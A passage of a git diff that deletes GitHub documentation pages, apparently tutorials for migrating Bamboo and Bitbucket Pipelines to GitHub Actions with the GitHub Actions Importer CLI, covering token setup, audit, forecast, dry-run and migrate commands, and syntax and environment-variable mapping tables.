data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create a Bamboo {% data variables.product.pat_generic %}. For more information, see [{% data variables.product.pat_generic_title_case_plural %}](https://confluence.atlassian.com/bamboo/personal-access-tokens-976779873.html) in the Bamboo documentation. - - Your token must have the following permissions, depending on which resources will be transformed. - - Resource Type | View | View Configuration | Edit - |:--- | :---: | :---: | :---: - | Build Plan | {% octicon "check" aria-label="Required" %} | {% octicon "check" aria-label="Required" %} | {% octicon "check" aria-label="Required" %} - | Deployment Project | {% octicon "check" aria-label="Required" %} | {% octicon "check" aria-label="Required" %} | {% octicon "x" aria-label="Not required" %} - | Deployment Environment | {% octicon "check" aria-label="Required" %} |{% octicon "x" aria-label="Not required" %}| {% octicon "x" aria-label="Not required" %} - - After creating the token, copy it and save it in a safe location for later use. -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `Bamboo`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "{% data variables.product.pat_generic_caps %} for Bamboo", enter the value for the Bamboo {% data variables.product.pat_generic %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the Bamboo instance", enter the URL for your Bamboo Server or Bamboo Data Center instance, and press <kbd>Enter</kbd>. - - An example of the `configure` command is shown below: - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: Bamboo - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ {% data variables.product.pat_generic_caps %} for Bamboo: ******************** - ✔ Base url of the Bamboo instance: https://bamboo.example.com - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of Bamboo - -You can use the `audit` command to get a high-level view of all projects in a Bamboo organization. - -The `audit` command performs the following steps: - -1. Fetches all of the projects defined in a Bamboo organization. -1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Running the audit command - -To perform an audit of a Bamboo instance, run the following command in your terminal: - -```shell -gh actions-importer audit bamboo --output-dir tmp/audit -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecasting usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Bamboo instance. - -### Running the forecast command - -To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast bamboo --output-dir tmp/forecast_reports -``` - -### Forecasting a project - -To limit the forecast to the plans and deployments environments associated with a project, you can use the `--project` option, where the value is set to a build project key. - -For example: - -```shell -gh actions-importer forecast bamboo --project PAN --output-dir tmp/forecast_reports -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to - -## Perform a dry-run migration of a Bamboo pipeline - -You can use the `dry-run` command to convert a Bamboo pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -### Running a dry-run migration for a build plan - -To perform a dry run of migrating your Bamboo build plan to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `:my_plan_slug` with the plan's project and plan key in the format `<projectKey>-<planKey>` (for example: `PAN-SCRIP`). - -```shell -gh actions-importer dry-run bamboo build --plan-slug :my_plan_slug --output-dir tmp/dry-run -``` - -### Running a dry-run migration for a deployment project - -To perform a dry run of migrating your Bamboo deployment project to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `:my_deployment_project_id` with the ID of the deployment project you are converting. - -```shell -gh actions-importer dry-run bamboo deployment --deployment-project-id :my_deployment_project_id --output-dir tmp/dry-run -``` - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -{% data reusables.actions.gai-custom-transformers-rec %} - -## Perform a production migration of a Bamboo pipeline - -You can use the `migrate` command to convert a Bamboo pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the migrate command for a build plan - -To migrate a Bamboo build plan to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `:my_plan_slug` with the plan's project and plan key in the format `<projectKey>-<planKey>`. - -```shell -gh actions-importer migrate bamboo build --plan-slug :my_plan_slug --target-url :target_url --output-dir tmp/migrate -``` - -The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate bamboo build --plan-slug :PROJECTKEY-PLANKEY --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -### Running the migrate command for a deployment project - -To migrate a Bamboo deployment project to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `:my_deployment_project_id` with the ID of the deployment project you are converting. - -```shell -gh actions-importer migrate bamboo deployment --deployment-project-id :my_deployment_project_id --target-url :target_url --output-dir tmp/migrate -``` - -The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate bamboo deployment --deployment-project-id 123 --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate -[2023-04-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20230420-014033.log' -[2023-04-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Bamboo. - -### Using environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Bamboo instance: - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires `repo` and `workflow` scopes). -* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`). -* `BAMBOO_ACCESS_TOKEN`: The Bamboo {% data variables.product.pat_generic %} used to authenticate with your Bamboo instance. -* `BAMBOO_INSTANCE_URL`: The URL to the Bamboo instance (for example, `https://bamboo.example.com`). - -These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run. - -### Optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `dry-run` or `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bamboo instance. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. - -For example: - -```shell -gh actions-importer dry-run bamboo build --plan-slug IN-COM -o tmp/bamboo --source-file-path ./path/to/my/bamboo/file.yml -``` - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bamboo instance. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -##### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit. - -```bash -gh actions-importer audit bamboo -o tmp/bamboo --config-file-path "./path/to/my/bamboo/config.yml" -``` - -To audit a Bamboo instance using a config file, the config file must be in the following format, and each `repository_slug` must be unique: - -```yaml -source_files: - - repository_slug: IN/COM - path: path/to/one/source/file.yml - - repository_slug: IN/JOB - path: path/to/another/source/file.yml -``` - -##### Dry run example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run. - -The repository slug is built using the `--plan-slug` option. The source file path is matched and pulled from the specified source file. - -```bash -gh actions-importer dry-run bamboo build --plan-slug IN-COM -o tmp/bamboo --config-file-path "./path/to/my/bamboo/config.yml" -``` - -### Supported syntax for Bamboo pipelines - -The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert. - -| Bamboo | GitHub Actions | Status | -| :---------------------------------- | :-----------------------------------------------| ---------------------: | -| `environments` | `jobs` | Supported | -| `environments.<environment_id>` | `jobs.<job_id>` | Supported | -| `<job_id>.artifacts` | `jobs.<job_id>.steps.actions/upload-artifact` | Supported | -| `<job_id>.artifact-subscriptions` | `jobs.<job_id>.steps.actions/download-artifact` | Supported | -| `<job_id>.docker` | `jobs.<job_id>.container` | Supported | -| `<job_id>.final-tasks` | `jobs.<job_id>.steps.if` | Supported | -| `<job_id>.requirements` | `jobs.<job_id>.runs-on` | Supported | -| `<job_id>.tasks` | `jobs.<job_id>.steps` | Supported | -| `<job_id>.variables` | `jobs.<job_id>.env` | Supported | -| `stages` | `jobs.<job_id>.needs` | Supported | -| `stages.<stage_id>.final` | `jobs.<job_id>.if` | Supported | -| `stages.<stage_id>.jobs` | `jobs` | Supported | -| `stages.<stage_id>.jobs.<job_id>` | `jobs.<job_id>` | Supported | -| `stages.<stage_id>.manual` | `jobs.<job_id>.environment` | Supported | -| `triggers` | `on` | Supported | -| `dependencies` | `jobs.<job_id>.steps.<gh cli step>` | Partially Supported | -| `branches` | Not applicable | Unsupported | -| `deployment.deployment-permissions` | Not applicable | Unsupported | -| `environment-permissions` | Not applicable | Unsupported | -| `notifications` | Not applicable | Unsupported | -| `plan-permissions` | Not applicable | Unsupported | -| `release-naming` | Not applicable | Unsupported | -| `repositories` | Not applicable | Unsupported | - -For more information about supported Bamboo concept and plugin mappings, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/bamboo/index.md). - -### Environment variable mapping - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Bamboo environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| Bamboo | GitHub Actions | -| :----------------------------------------------- | :-------------------------------------------------- | -| `bamboo.agentId` | {% raw %}`${{ github.runner_name }}`{% endraw %} -| `bamboo.agentWorkingDirectory` | {% raw %}`${{ github.workspace }}`{% endraw %} -| `bamboo.buildKey` | {% raw %}`${{ github.workflow }}-${{ github.job }}`{% endraw %} -| `bamboo.buildNumber` | {% raw %}`${{ github.run_id }}`{% endraw %} -| `bamboo.buildPlanName` | {% raw %}`${{ github.repository }}-${{ github.workflow }}-${{ github.job }`{% endraw %} -| `bamboo.buildResultKey` | {% raw %}`${{ github.workflow }}-${{ github.job }}-${{ github.run_id }}`{% endraw %} -| `bamboo.buildResultsUrl` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} -| `bamboo.build.working.directory` | {% raw %}`${{ github.workspace }}`{% endraw %} -| `bamboo.deploy.project` | {% raw %}`${{ github.repository }}`{% endraw %} -| `bamboo.ManualBuildTriggerReason.userName` | {% raw %}`${{ github.actor }}`{% endraw %} -| `bamboo.planKey` | {% raw %}`${{ github.workflow }}`{% endraw %} -| `bamboo.planName` | {% raw %}`${{ github.repository }}-${{ github.workflow }}`{% endraw %} -| `bamboo.planRepository.branchDisplayName` | {% raw %}`${{ github.ref }}`{% endraw %} -| `bamboo.planRepository.<position>.branch` | {% raw %}`${{ github.ref }}`{% endraw %} -| `bamboo.planRepository.<position>.branchName` | {% raw %}`${{ github.ref }}`{% endraw %} -| `bamboo.planRepository.<position>.name` | {% raw %}`${{ github.repository }}`{% endraw %} -| `bamboo.planRepository.<position>.repositoryUrl` | {% raw %}`${{ github.server }}/${{ github.repository }}`{% endraw %} -| `bamboo.planRepository.<position>.revision` | {% raw %}`${{ github.sha }}`{% endraw %} -| `bamboo.planRepository.<position>.username` | {% raw %}`${{ github.actor}}`{% endraw %} -| `bamboo.repository.branch.name` | {% raw %}`${{ github.ref }}`{% endraw %} -| `bamboo.repository.git.branch` | {% raw %}`${{ github.ref }}`{% endraw %} -| `bamboo.repository.git.repositoryUrl` | {% raw %}`${{ github.server }}/${{ github.repository }}`{% endraw %} -| `bamboo.repository.pr.key` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} -| `bamboo.repository.pr.sourceBranch` | {% raw %}`${{ github.event.pull_request.head.ref }}`{% endraw %} -| `bamboo.repository.pr.targetBranch` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} -| `bamboo.resultsUrl` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} -| `bamboo.shortJobKey` | {% raw %}`${{ github.job }}`{% endraw %} -| `bamboo.shortJobName` | {% raw %}`${{ github.job }}`{% endraw %} -| `bamboo.shortPlanKey` | {% raw %}`${{ github.workflow }}`{% endraw %} -| `bamboo.shortPlanName` | {% raw %}`${{ github.workflow }}`{% endraw %} - -> [!NOTE] -> Unknown variables are transformed to {% raw %}`${{ env.<variableName> }}`{% endraw %} and must be replaced or added under `env` for proper operation. For example, `${bamboo.jira.baseUrl}` will become {% raw %}`${{ env.jira_baseUrl }}`{% endraw %}. - -### System Variables - -System variables used in tasks are transformed to the equivalent bash shell variable and are assumed to be available. For example, `${system.<variable.name>}` will be transformed to `$variable_name`. We recommend you verify this to ensure proper operation of the workflow. - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer.md deleted file mode 100644 index e7e97ea16d52..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer.md +++ /dev/null @@ -1,350 +0,0 @@ ---- -title: Migrating from Bitbucket Pipelines with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Bitbucket pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: Bitbucket Pipelines migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from Bitbucket Pipelines with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Bitbucket Pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations when migrating from Bitbucket Pipelines to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}. - -* Images in a private AWS ECR are not supported. -* The Bitbucket Pipelines option `size` is not supported. {% ifversion fpt or ghec %}If additional runner resources are required in {% data variables.product.prodname_actions %}, consider using {% data variables.actions.hosted_runner %}s. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners).{% endif %} -* Metrics detailing the queue time of jobs is not supported by the `forecast` command. -* Bitbucket [after-scripts](https://support.atlassian.com/bitbucket-cloud/docs/step-options/#After-script) are supported using {% data variables.product.prodname_actions %} `always()` in combination with checking the `steps.<step_id>.conclusion` of the previous step. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#steps-context). - - The following is an example of using the `always()` with `steps.<step_id>.conclusion`. - - ```yaml - - name: After Script 1 - run: |- - echo "I'm after the script ran!" - echo "We should be grouped!" - id: after-script-1 - if: "{% raw %}${{ always() }}{% endraw %}" - - name: After Script 2 - run: |- - echo "this is really the end" - echo "goodbye, for now!" - id: after-script-2 - if: "{% raw %}${{ steps.after-script-1.conclusion == 'success' && always() }}{% endraw %}" - ``` - -### Manual tasks - -Certain Bitbucket Pipelines constructs must be migrated manually. These include: - -* Secured repository, workspace, and deployment variables -* SSH keys - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Bitbucket Pipelines and {% data variables.product.prodname_dotcom %}. - -1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create a Workspace Access Token for Bitbucket Pipelines. For more information, see [Workspace Access Token permissions](https://support.atlassian.com/bitbucket-cloud/docs/workspace-access-token-permissions/) in the Bitbucket documentation. Your token must have the `read` scope for pipelines, projects, and repositories. - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `Bitbucket`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "{% data variables.product.pat_generic_caps %} for Bitbucket", enter the Workspace Access Token that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the Bitbucket instance", enter the URL for your Bitbucket instance, and press <kbd>Enter</kbd>. - - An example of the `configure` command is shown below: - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: Bitbucket - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ {% data variables.product.pat_generic_caps %} for Bitbucket: ******************** - ✔ Base url of the Bitbucket instance: https://bitbucket.example.com - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of the Bitbucket instance - -You can use the audit command to get a high-level view of pipelines in a Bitbucket instance. - -The audit command performs the following steps. -1. Fetches all of the pipelines for a workspace. -1. Converts pipeline to its equivalent GitHub Actions workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Running the audit command - -To perform an audit run the following command in your terminal, replacing `:workspace` with the name of the Bitbucket workspace to audit. - -```bash -gh actions-importer audit bitbucket --workspace :workspace --output-dir tmp/audit -``` - -Optionally, a `--project-key` option can be provided to the audit command to limit the results to only pipelines associated with a project. - -In the below example command `:project_key` should be replaced with the key of the project that should be audited. Project keys can be found in Bitbucket on the workspace projects page. - -```bash -gh actions-importer audit bitbucket --workspace :workspace --project-key :project_key --output-dir tmp/audit -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecasting usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Bitbucket instance. - -### Running the forecast command - -To perform a forecast of potential GitHub Actions usage, run the following command in your terminal, replacing `:workspace` with the name of the Bitbucket workspace to forecast. By default, GitHub Actions Importer includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast bitbucket --workspace :workspace --output-dir tmp/forecast_reports -``` - -### Forecasting a project - -To limit the forecast to a project, you can use the `--project-key` option. Replace the value for the `:project_key` with the project key for the project to forecast. - -```shell -gh actions-importer forecast bitbucket --workspace :workspace --project-key :project_key --output-dir tmp/forecast_reports -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. - -## Performing a dry-run migration - -You can use the dry-run command to convert a Bitbucket pipeline to an equivalent {% data variables.product.prodname_actions %} workflow(s). A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -### Running the dry-run command - -To perform a dry run of migrating a Bitbucket pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `:workspace` with the name of the workspace and `:repo` with the name of the repository in Bitbucket. - -```bash -gh actions-importer dry-run bitbucket --workspace :workspace --repository :repo --output-dir tmp/dry-run -``` - -### Inspecting the converted workflows - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -{% data reusables.actions.gai-custom-transformers-rec %} - -## Performing a production migration - -You can use the migrate command to convert a Bitbucket pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow(s). - -### Running the migrate command - -To migrate a Bitbucket pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the following values. - -* Replace `target-url` value with the URL for your {% data variables.product.company_short %} repository. -* Replace `:repo` with the name of the repository in Bitbucket. -* Replace `:workspace` with the name of the workspace. - -```bash -gh actions-importer migrate bitbucket --workspace :workspace --repository :repo --target-url https://github.com/:owner/:repo --output-dir tmp/dry-run -``` - -The command's output includes the URL of the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```bash -gh actions-importer migrate bitbucket --workspace actions-importer --repository custom-trigger --target-url https://github.com/valet-dev-testing/demo-private --output-dir tmp/bitbucket -[2023-07-18 09:56:06] Logs: 'tmp/bitbucket/log/valet-20230718-165606.log' -[2023-07-18 09:56:24] Pull request: 'https://github.com/valet-dev-testing/demo-private/pull/55' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Bitbucket Pipelines. - -### Using environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Bitbucket instance. - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a transformed workflow (requires `repo` and `workflow` scopes). -* `GITHUB_INSTANCE_URL`: The url to the target GitHub instance. (e.g. `https://github.com`) -* `BITBUCKET_ACCESS_TOKEN`: The workspace access token with read scopes for pipeline, project, and repository. - -These environment variables can be specified in a `.env.local` file that will be loaded by {% data variables.product.prodname_actions_importer %} at run time. The distribution archive contains a `.env.local.template` file that can be used to create these files. - -### Optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `dry-run` or `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bitbucket instance. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. - -For example: - -```bash -gh actions-importer dry-run bitbucket --workspace :workspace --repository :repo --output-dir tmp/dry-run --source-file-path path/to/my/pipeline/file.yml -``` - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bitbucket instance. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit. - -```bash -gh actions-importer audit bitbucket --workspace :workspace --output-dir tmp/audit --config-file-path "path/to/my/bitbucket/config.yml" -``` - -To audit a Bitbucket instance using a config file, the config file must be in the following format, and each `repository_slug` must be unique: - -```yaml -source_files: - - repository_slug: repo_name - path: path/to/one/source/file.yml - - repository_slug: another_repo_name - path: path/to/another/source/file.yml -``` - -## Supported syntax for Bitbucket Pipelines - -The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert. - -| Bitbucket | GitHub Actions | Status | -| :------------------- | :------------------------------------------- | -----------: | -| `after-script` | `jobs.<job_id>.steps[*]` | Supported | -| `artifacts` | `actions/upload-artifact` & `download-artifact` | Supported | -| `caches` | `actions/cache` | Supported | -| `clone` | `actions/checkout` | Supported | -| `condition` | `job.<job_id>.steps[*].run` | Supported | -| `deployment` | `jobs.<job_id>.environment` | Supported | -| `image` | `jobs.<job_id>.container` | Supported | -| `max-time` | `jobs.<job_id>.steps[*].timeout-minutes` | Supported | -| `options.docker` | None | Supported | -| `options.max-time` | `jobs.<job_id>.steps[*].timeout-minutes` | Supported | -| `parallel` | `jobs.<job_id>` | Supported | -| `pipelines.branches` | `on.push` | Supported | -| `pipelines.custom` | `on.workflow_dispatch` | Supported | -| `pipelines.default` | `on.push` | Supported | -| `pipelines.pull-requests` | `on.pull_requests` | Supported | -| `pipelines.tags` | `on.tags` | Supported | -| `runs-on` | `jobs.<job_id>.runs-on` | Supported | -| `script` | `job.<job_id>.steps[*].run` | Supported | -| `services` | `jobs.<job_id>.service` | Supported | -| `stage` | `jobs.<job_id>` | Supported | -| `step` | `jobs.<job_id>.steps[*]` | Supported | -| `trigger` | `on.workflow_dispatch` | Supported | -| `fail-fast` | None | Unsupported | -| `oidc` | None | Unsupported | -| `options.size` | None | Unsupported | -| `size` | None | Unsupported | - -### Environment variable mapping - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Bitbucket environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| Bitbucket | GitHub Actions | -| :------------------------------------- | :------------------------------------------------------ | -| `CI` | {% raw %}`true`{% endraw %} | -| `BITBUCKET_BUILD_NUMBER` | {% raw %}`${{ github.run_number }}`{% endraw %} | -| `BITBUCKET_CLONE_DIR` | {% raw %}`${{ github.workspace }}`{% endraw %} | -| `BITBUCKET_COMMIT` | {% raw %}`${{ github.sha }}`{% endraw %} | -| `BITBUCKET_WORKSPACE` | {% raw %}`${{ github.repository_owner }}`{% endraw %} | -| `BITBUCKET_REPO_SLUG` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `BITBUCKET_REPO_UUID` | {% raw %}`${{ github.repository_id }}`{% endraw %} | -| `BITBUCKET_REPO_FULL_NAME` | {% raw %}`${{ github.repository_owner }}`{% endraw %}/{% raw %}`${{ github.repository }}`{% endraw %} | -| `BITBUCKET_BRANCH` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `BITBUCKET_TAG` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `BITBUCKET_PR_ID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} | -| `BITBUCKET_PR_DESTINATION_BRANCH` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} | -| `BITBUCKET_GIT_HTTP_ORIGIN` | {% raw %}`${{ github.event.repository.clone_url }}`{% endraw %} | -| `BITBUCKET_GIT_SSH_ORIGIN` | {% raw %}`${{ github.event.repository.ssh_url }}`{% endraw %} | -| `BITBUCKET_EXIT_CODE` | {% raw %}`${{ job.status }}`{% endraw %} | -| `BITBUCKET_STEP_UUID` | {% raw %}`${{ job.github_job }}`{% endraw %} | -| `BITBUCKET_PIPELINE_UUID` | {% raw %}`${{ github.workflow }}`{% endraw %} | -| `BITBUCKET_PROJECT_KEY` | {% raw %}`${{ github.repository_owner }}`{% endraw %} | -| `BITBUCKET_PROJECT_UUID` | {% raw %}`${{ github.repository_owner }}`{% endraw %} | -| `BITBUCKET_STEP_TRIGGERER_UUID` | {% raw %}`${{ github.actor_id }}`{% endraw %} | -| `BITBUCKET_SSH_KEY_FILE` | {% raw %}`${{ github.workspace }}/.ssh/id_rsa`{% endraw %} | -| `BITBUCKET_STEP_OIDC_TOKEN` | No Mapping | -| `BITBUCKET_DEPLOYMENT_ENVIRONMENT` | No Mapping | -| 